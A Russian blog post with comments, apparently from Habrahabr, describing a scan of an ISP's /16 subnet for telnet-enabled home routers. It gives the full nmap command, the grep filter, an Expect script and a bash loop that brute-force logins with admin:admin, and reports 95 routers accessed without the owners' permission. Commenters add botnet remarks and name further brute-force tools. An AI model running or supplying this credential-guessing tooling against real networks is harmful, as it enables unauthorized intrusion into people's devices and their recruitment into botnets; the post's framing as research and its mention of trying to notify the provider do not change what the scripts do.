Недавно мне пришла в голову банальная мысль, что большинство людей кладут на настройку своих роутеров, и на них можно зайти по дефолтным паролям. А много ли таких роутеров вдобавок открыты для входа из интернета, что делает их проходным двором? И как это по-быстрому проверить?

Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.

Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.

Первая мысль, которая приходит в голову: сканировать nmap'ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!

Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.
nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt

Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ --open позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.

Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.

Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:
grep -o -E '([0-9]{1,3}[\.]){3}[0-9]{1,3}' raw_log.txt > log.txt

Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ -o выводит только найденную подстроку, что нам и требуется.

Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.

Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.

Попытки автоматизации telnet'а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet
#!/usr/bin/expect -f

set SERVER	[lindex $argv 0];
set USER 	[lindex $argv 1];
set PASS 	[lindex $argv 2];

set timeout 1

spawn telnet $SERVER
expect ":"
send  "$USER\r"
expect ":"
send  "$PASS\r"
expect ">" {puts "\nFOUND $SERVER $USER:$PASS\n"; exit 0}
exit 1

Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.

Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан "#". Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида
TP-LINK>

Однако маркер ">" универсален — он работает и на узявимых D-Link, которые дают приглашение вида
DSL-2600U# 

Осталось только написать однострочный bash: исполняемый файл brute
#!/bin/bash
while read line; do ./try_telnet $line admin admin; done < log.txt

И запускаем
./brute > out.txt

В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).

Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью
grep 'FOUND' out.txt > final.txt

Получаем 95 роутеров с авторизацией admin:admin — цель достигнута.

В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).

В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.

В заключение хочу сказать, что я честно попытался информировать провайдера, однако электронной почты у него нет, толька форма «для обращений» с полями обязательного ввода «домашний адрес» и «телефон». Тогда друг и посоветовал написать на Хабрахабр. Всем спасибо!

Комментарии (13)


  1. catharsis
    20.07.2015 14:02

    из них получается неплохой ботнет


  1. kacang
    20.07.2015 14:31

    Мне интересно — много народу сканирует на такие раутеры. От LizardSquad-a до Linux.Moose, ну и Shodan в догонку. Как могут всё еще находиться новые, незахваченные?


    1. ITLav
      20.07.2015 22:44
      +1

      Если роутер правильно захватывать, то об этом никто не узнает, соответственно, один роутер может участвовать сразу в нескольких ботнетах.


  1. Vindicar
    20.07.2015 14:31

    А SHODAN пробовали?


  1. plushka
    20.07.2015 15:48
    +2

    А NSE-скрипт telnet-brute не пробовали?


  1. FeNUMe
    20.07.2015 17:11
    +3

    Есть такая вещь как RouterScan, сканит заданные диапазоны айпишек на присутствие роутеров с уязвимостями, выдает кучу инфы включая лог/пасс от админки

    Скрин
    image


    1. Dywar
      20.07.2015 19:51

      Палим контору, пусть пишут telnnet :) (шутка)
      Хотя софт хороший, давно пользуюсь.


  1. sigmatik
    20.07.2015 22:44
    -2

    А с какой целью вы пытались информировать провайдера? Как он по вашему должен был отреагировать на ваше обращение? Открытые порты роутеров абонентов это как бы личные проблемы абонентов


    1. ITLav
      20.07.2015 22:45
      +2

      Это личные проблемы абонентов кроме случаев, когда роутер настраивали сотрудники провайдера, а это далеко не редкость.


    1. FeNUMe
      20.07.2015 23:29
      +1

      Очень часто провайдеры проводят акции по раздаче роутеров клиентам(«оплати полгода получи роутер за 1 копейку»). Роутеры естественно самые дешевые и дырявые, часто даже со стандартным пассом, в таком случае можно попробовать их информировать.


  1. Lux_In_Tenebris
    21.07.2015 03:54
    +1

    А может лучше использовать готовый NSE скрипт, чем изобретать велосипед?


    1. l0rda
      22.07.2015 11:43

      Есть же THC Hydra.


    1. Protos
      07.08.2015 10:37

      так и не разобрался как его запустить:
      toster.ru/q/236241
      Как выглядят для него файлики с логинами и паролями?